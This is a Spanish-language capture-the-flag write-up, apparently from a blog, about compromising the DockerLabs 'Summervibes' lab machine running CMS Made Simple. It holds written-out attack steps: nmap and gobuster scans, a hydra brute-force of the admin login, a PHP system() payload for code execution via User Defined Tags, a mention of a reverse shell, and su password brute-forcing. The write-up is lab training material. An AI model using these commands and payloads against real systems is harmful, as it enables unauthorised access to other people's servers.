Summervibes , DockerLabs
En este reto nos encontramos con escaneo de puertos para buscar una entrada al sistema , enumeracion con con gobuster , explotacion de cve , revshell y escalada
Herramientas y recursos usados
- nmap
- gobuster
- hydra
- cve
Enumeracion
Empezamos lanzando un nmap contra el objetivo .
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -vvv 172.17.0.2 -oX summervibes
Revisamos la web a ver que encontramos , buscamos en codigo fuente y encontramos lo siguiente. Asi que vamos a chusmear y de paso lanzamos un gobuster contra ese directorio.
Vamos directos a gobuster
1
gobuster -q dir -w /usr/share/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml -u http://172.17.0.2/cmsms --exclude-length 3690
Miramos la version del cms , espero no lo hayan editado para despistar.
En gobuster tambien vimos un directorio login para el admin , asi que investigamos en la web sobre este cms y como explotarlo.
Para poder abusar de este cms si o si y con cualquier cve asociado necesitamos tener privilegios administrativos. Voy a probar contra admin con rockyou como dic y podemos usar hydra por ejemplo.
1
hydra -l admin -P ~/rockyou.txt 172.17.0.2 http-post-form "/cmsms/admin/login.php:username=^USER^&password=^PASS^&&loginsubmit=Submit:User name or password incorrect" -VI
Explotacion
Ahora que tenemos el user y pass vamos a explotar ese cve Nos vamos a la pagina de login y nos conectamos. Se nos muestra panel de administracion del cms , como no se como hacerlo paso a buscar como se realiza ese exploit. El que nos interesa es el rec y buscando encuentro.
Sigo las instruciones y listo.
Log in as Administrator
1
Access the CMS Made Simple admin panel and log in with administrator credentials.
Navigate to User Defined Tags
1
Go to Extensions > User Defined Tags.
Inject Payload
1
2
3
4
5
In the 'Code' text area, input the following payload:
<?php echo system('id'); ?>
This PHP code, when executed, will display the system user and group IDs.
Execute the Payload
1
Click on the 'Run' button to execute the payload.
Observe the Output
1
2
3
The output should be similar to:
uid=1000(admin) gid=1000(admin) groups=1000(admin) uid=1000(admin) gid=1000(admin) groups=1000(admin)
This indicates successful execution of the code, displaying the server process’s user and group IDs
Despues de comprobar lo tipico id whoami me dispongo a lanzar una revshel no sin antes dejar netcat a la escucha.
Infiltracion
Ya tenemos la revshell la configuramos y empezamos con lo facil y rapido , ni sudo, ni find nos da resultado , el cms deberia de tener un bbdd pero no nos la mostro nmap y el cms ha de tener un config asi que buscamos primero el config.
Escalada
1
find / -name config.php 2>/dev/null
Buscamos el servico mysql.
1
ss
Intento comprobar tambien con systemctl y ya me huelo medio raroporque me da error.
Vamos a intentar conectar a la base de datos con las credenciales de web
A mi ya solo se me ocurre hacer fuerza bruta asi me me dispongo a usar el script que hizo el pinguino. Me copio el script y el diccionario.
1
./suforce.sh root rockyou.txt
Le modifique el timeout al script pq no lo pillada hice que fuese mas lento y que mala memoria la mia de no haber probado las contareñas que ya teniamos
Ni con root entre en la bbdd
Saludos y muchas gracias por leer
Comments powered by Disqus.